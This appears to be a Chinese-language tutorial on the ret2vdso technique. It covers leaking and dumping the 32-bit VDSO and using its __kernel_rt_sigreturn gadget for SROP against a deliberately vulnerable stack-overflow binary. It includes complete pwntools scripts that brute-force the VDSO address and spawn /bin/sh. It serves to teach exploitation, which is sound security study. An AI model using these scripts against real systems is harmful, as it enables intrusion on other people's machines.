ret2vdso exploit
字数 1377 2025-08-29 08:32:30

ret2vdso Exploit 技术详解

1. 前导知识

1.1 VDSO 概述

VDSO (Virtual Dynamic Shared Object) 是 Linux 内核提供的一个机制,用于加速系统调用:

  • 传统 int 0x80 系统调用较慢
  • Intel 和 AMD 分别实现了 sysenter/sysexitsyscall/sysret 快速系统调用指令
  • Linux 通过 vsyscall 机制统一接口,具体实现由内核决定
  • VDSO 可以看作是一个特殊的 .so 动态库,但不同内核版本内容不同

1.2 VDSO 内容分析

64位 VDSO (vdso_x64.so)

包含的函数:

clock_gettime
gettimeofday
time
getcpu

ROP 指令分析:

  • 仅有 62 条可用 gadget
  • 可利用的指令较少

32位 VDSO (vdso_x86.so)

包含的函数:

__kernel_vsyscall
__vdso_gettimeofday
__kernel_sigreturn
__vdso_time
__kernel_rt_sigreturn
__vdso_clock_gettime

ROP 指令分析:

  • 有 123 条 gadget
  • 包含 __kernel_rt_sigreturn 可用于 SROP
  • 比 64 位有更多可利用指令

2. 利用思路

2.1 VDSO 随机化特点

  • 相比于栈和其他 ASLR,VDSO 随机化较弱
  • 32 位系统有 1/256 的命中概率
  • 地址范围在不同内核版本中不同:
    • 较新内核:0xf7ed0000-0xf7fd0000
    • 旧内核:0xf76d9000-0xf77ce000

2.2 利用步骤

  1. 泄露 VDSO:利用栈上的 VDSO 基地址指针
  2. 利用 VDSO 进行 ROP:特别是 SROP 技术

3. 实例分析

3.1 目标程序分析

示例程序 ret2vdso.s 反汇编后:

int main() {
  size_t size;
  char addr[128];
  
  size = read(0, buf, 0x1000u);
  memcpy(addr, buf, size);
  write(1, addr, size);
  return 0;
}

特点:

  • 明显的栈溢出漏洞
  • 非动态链接程序(not a dynamic executable
  • 自身 ROP gadget 极少(仅 36 条)

3.2 泄露 VDSO

使用格式化字符串泄露 VDSO 地址:

#include <stdio.h>
int main() {
    printf("vdso addr: %124$p\n");
    return 0;
}

Python 脚本批量测试:

import os
result = []
for i in range(100):
    result += [os.popen('./vdso_addr').read()[:-1]]
result = sorted(result)
for v in result:
    print(v)

3.3 读取 VDSO 内容

利用 write 函数读取 VDSO:

from pwn import *
import random

context(arch='i386', os='linux')
elf = ELF("./ret2vdso")

RANGE_VDSO = range(0xf7ed0000, 0xf7fd0000, 0x1000)

while True:
    try:
        sh = process("./ret2vdso")
        vdso_addr = random.choice(RANGE_VDSO)
        
        sh.send('a'*132 + 
               p32(elf.symbols['write']) +
               p32(0) +
               p32(1) +          # fd
               p32(vdso_addr) +   # buf
               p32(0x2000)       # count
               )
        
        sh.recvuntil(p32(0x2000))
        result = sh.recvall(0.1)
        if len(result) != 0:
            open('vdso.so', 'wb').write(result)
            sh.close()
            log.success("Success")
            break
        sh.close()
    except:
        sh.close()

3.4 SROP 利用

获取 shell 的完整脚本:

from pwn import *
import random

context(arch='i386', os='linux')
elf = ELF("./ret2vdso")
vdso = ELF("./vdso.so")

# 设置 /bin/sh 字符串位置
str_bin_sh_offset = 0x200
str_bin_sh_addr = elf.symbols['buf'] + str_bin_sh_offset
int_0x80 = 0x080480a5  # 程序中的 int 0x80 gadget

# 创建 SROP frame
frame = SigreturnFrame(kernel='i386')
frame.eax = constants.SYS_execve
frame.ebx = str_bin_sh_addr
frame.ecx = 0
frame.edx = 0
frame.eip = int_0x80

# 必须设置的寄存器值
frame.cs = 35   # 用户模式代码段选择子
frame.ss = 43    # 用户模式堆栈段选择子
frame.ds = 43    # 用户模式数据段选择子
frame.es = 43    # 用户模式额外段选择子
frame.gs = 0
frame.fs = 0

RANGE_VDSO = range(0xf7ed0000, 0xf7fd0000, 0x1000)

while True:
    sh = process("./ret2vdso")
    vdso_addr = random.choice(RANGE_VDSO)
    
    # 构造 payload
    payload = 'a'*128 + p32(0) + \
             p32(vdso_addr + vdso.symbols['__kernel_rt_sigreturn']) + \
             'c' * 40 * 4 + str(frame)
    
    payload = payload.ljust(str_bin_sh_offset, '\x00') + '/bin/sh\x00'
    
    sh.send(payload)
    sh.recvuntil('/bin/sh\x00')
    sh.sendline('echo hello')
    
    try:
        result = sh.recv()
        if len(result) != 0:
            log.success("Success")
            sh.interactive()
            break
    except:
        pass
    sh.close()

4. 关键注意事项

  1. Frame 设置

    • 32 位必须指定 kernel='i386'
    • cs, ds, ss, es 等段寄存器必须正确设置
    • 错误设置会导致崩溃
  2. 接收数据

    • 避免使用 recvall,容易导致 EOFError
    • 即使成功获取 shell 也可能因此崩溃
  3. Payload 构造

    • 需要额外填充 160 字节 (40*4)
    • 这是因为 __kernel_rt_sigreturn__kernel_sigreturn 的区别
    • 使用 __kernel_sigreturn 则不需要此填充
  4. VDSO 差异

    • 不同内核版本的 VDSO 内容不同
    • 必须从目标系统获取实际的 VDSO 文件

5. 总结

ret2vdso 技术要点:

  1. 利用 VDSO 较弱的随机化特性
  2. 32 位系统成功率更高 (1/256)
  3. 需要先泄露 VDSO 内容
  4. 利用 VDSO 中的 gadget 构造 ROP 链
  5. 特别适合没有其他可用 gadget 的情况

该技术在以下场景特别有用:

  • 非动态链接程序
  • 程序自身 ROP gadget 极少
  • 无法利用 libc 的情况
ret2vdso Exploit 技术详解 1. 前导知识 1.1 VDSO 概述 VDSO (Virtual Dynamic Shared Object) 是 Linux 内核提供的一个机制,用于加速系统调用: 传统 int 0x80 系统调用较慢 Intel 和 AMD 分别实现了 sysenter/sysexit 和 syscall/sysret 快速系统调用指令 Linux 通过 vsyscall 机制统一接口,具体实现由内核决定 VDSO 可以看作是一个特殊的 .so 动态库,但不同内核版本内容不同 1.2 VDSO 内容分析 64位 VDSO (vdso_ x64.so) 包含的函数: ROP 指令分析: 仅有 62 条可用 gadget 可利用的指令较少 32位 VDSO (vdso_ x86.so) 包含的函数: ROP 指令分析: 有 123 条 gadget 包含 __kernel_rt_sigreturn 可用于 SROP 比 64 位有更多可利用指令 2. 利用思路 2.1 VDSO 随机化特点 相比于栈和其他 ASLR,VDSO 随机化较弱 32 位系统有 1/256 的命中概率 地址范围在不同内核版本中不同: 较新内核: 0xf7ed0000-0xf7fd0000 旧内核: 0xf76d9000-0xf77ce000 2.2 利用步骤 泄露 VDSO :利用栈上的 VDSO 基地址指针 利用 VDSO 进行 ROP :特别是 SROP 技术 3. 实例分析 3.1 目标程序分析 示例程序 ret2vdso.s 反汇编后: 特点: 明显的栈溢出漏洞 非动态链接程序( not a dynamic executable ) 自身 ROP gadget 极少(仅 36 条) 3.2 泄露 VDSO 使用格式化字符串泄露 VDSO 地址: Python 脚本批量测试: 3.3 读取 VDSO 内容 利用 write 函数读取 VDSO: 3.4 SROP 利用 获取 shell 的完整脚本: 4. 关键注意事项 Frame 设置 : 32 位必须指定 kernel='i386' cs , ds , ss , es 等段寄存器必须正确设置 错误设置会导致崩溃 接收数据 : 避免使用 recvall ,容易导致 EOFError 即使成功获取 shell 也可能因此崩溃 Payload 构造 : 需要额外填充 160 字节 ( 40*4 ) 这是因为 __kernel_rt_sigreturn 和 __kernel_sigreturn 的区别 使用 __kernel_sigreturn 则不需要此填充 VDSO 差异 : 不同内核版本的 VDSO 内容不同 必须从目标系统获取实际的 VDSO 文件 5. 总结 ret2vdso 技术要点: 利用 VDSO 较弱的随机化特性 32 位系统成功率更高 (1/256) 需要先泄露 VDSO 内容 利用 VDSO 中的 gadget 构造 ROP 链 特别适合没有其他可用 gadget 的情况 该技术在以下场景特别有用: 非动态链接程序 程序自身 ROP gadget 极少 无法利用 libc 的情况